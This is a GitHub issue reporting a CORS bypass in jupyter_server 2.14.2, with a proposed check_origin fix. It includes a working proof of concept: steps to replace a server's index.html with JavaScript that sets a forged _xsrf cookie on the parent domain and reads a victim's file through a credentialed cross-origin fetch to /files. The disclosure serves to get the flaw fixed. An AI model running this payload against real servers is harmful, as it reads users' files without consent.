Skip to content

CORS is not checked when browsing files. #1459

Open
@gogasca

Description

@gogasca

Description

When using JupyterLab + jupyter_server an attacker can pass a redirect using _xsrf HTTP param and cookie to bypass CORS checks (c.ServerApp.allow_origin_pat). Using jupyter-server 2.14.2. Redirect provides access to /files path

Reproduce

Scenario:

Jupyter Server 1 (myjupyterserver1.mydomain.com) - Attacker

sudo su
cd /opt/conda/share/jupyter/lab/static
mv index.html index.html.bak
vim index.html

Edit index.html

<html>
<body>
<script>
  var notebook_domain = "" //example: myjupyterserver1.mydomain.com
  var file_path = "/test.txt" // a Local file in c.ServerApp.root_dir
  
  var base_domain = document.domain.substr(document.domain.indexOf('.'));
        document.cookie='_xsrf=1;Domain='+base_domain;
  
  fetch("https://"+notebook_domain+"/files"+file_path+"?_xsrf=1", {mode: "cors", credentials: "include"}).then(response => response.text()).then(text => {console.log(text)});
</script>
</body>
</html>
c.NotebookApp.open_browser = False
c.ServerApp.token = ""
c.ServerApp.password = ""
c.ServerApp.port = 8082
c.ServerApp.allow_remote_access = True
c.ServerApp.root_dir = "/Users/gogasca/Documents"
c.Application.log_level = 0
c.NotebookApp.disable_check_xsrf = False
c.ServerApp.allow_origin_pat = "https:\/\/myjupyterserver2\\.mydomain\\.com"
  • Jupyter Server 2 (myjupyterserver2.mydomain.com)

Attacker gives victim myjupyterserver1.mydomain.com which redirects to himself and bypass CORS checks.

image

Expected behavior

CORS logic is executed.c.ServerApp.allow_origin_pat is verified.

I tried to reproduce with local Jupyter but unable to do so. (local Jupyter 127.0.0.1:8081 and 127.0.0.1:8082), as I think _xsrf=1 cookie is not passed. I reproduced using Jupyter Server behind a Proxy.

Context

  • Operating System and version:
  • Browser and version:
  • Jupyter Server version:

Bug here:

https://github.com/jupyter-server/jupyter_server/blob/main/jupyter_server/base/handlers.py#L537
https://github.com/tornadoweb/tornado/blob/master/tornado/web.py#L1619

Potential fix add check_origin() method. Fix worked in lab. super().check_xsrf_cookie() is calling tornado.

try:
            if not self.check_origin():
                raise web.HTTPError(404)
            return super().check_xsrf_cookie()
...

image

Troubleshoot Output

Request is not blocked even when c.ServerApp.allow_origin_pat is configured correctly.

image

Paste the output from running `jupyter troubleshoot` from the command line here.
You may want to sanitize the paths in the output.
Command Line Output

I added extra debugs:

[D 2024-09-21 04:57:41.338 ServerApp] Generating new user for token-authenticated request: 6d852c7674ce45aca215c16b1e99fd57
[I 2024-09-21 04:57:41.338 ServerApp] Get AuthenticatedFileHandler
[I 2024-09-21 04:57:41.338 ServerApp] check_xsrf_cookie
[D 2024-09-21 04:57:41.338 ServerApp] is_token_authenticated
[D 2024-09-21 04:57:41.338 ServerApp] False
[I 2024-09-21 04:57:41.338 ServerApp] super().check_xsrf_cookie
[D 2024-09-21 04:57:41.339 ServerApp] 200 GET /files/src/localfile.txt?_xsrf=[secret] ([email protected]) 1.91ms
Browser Output
Paste the output from your browser Javascript console here, if applicable.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions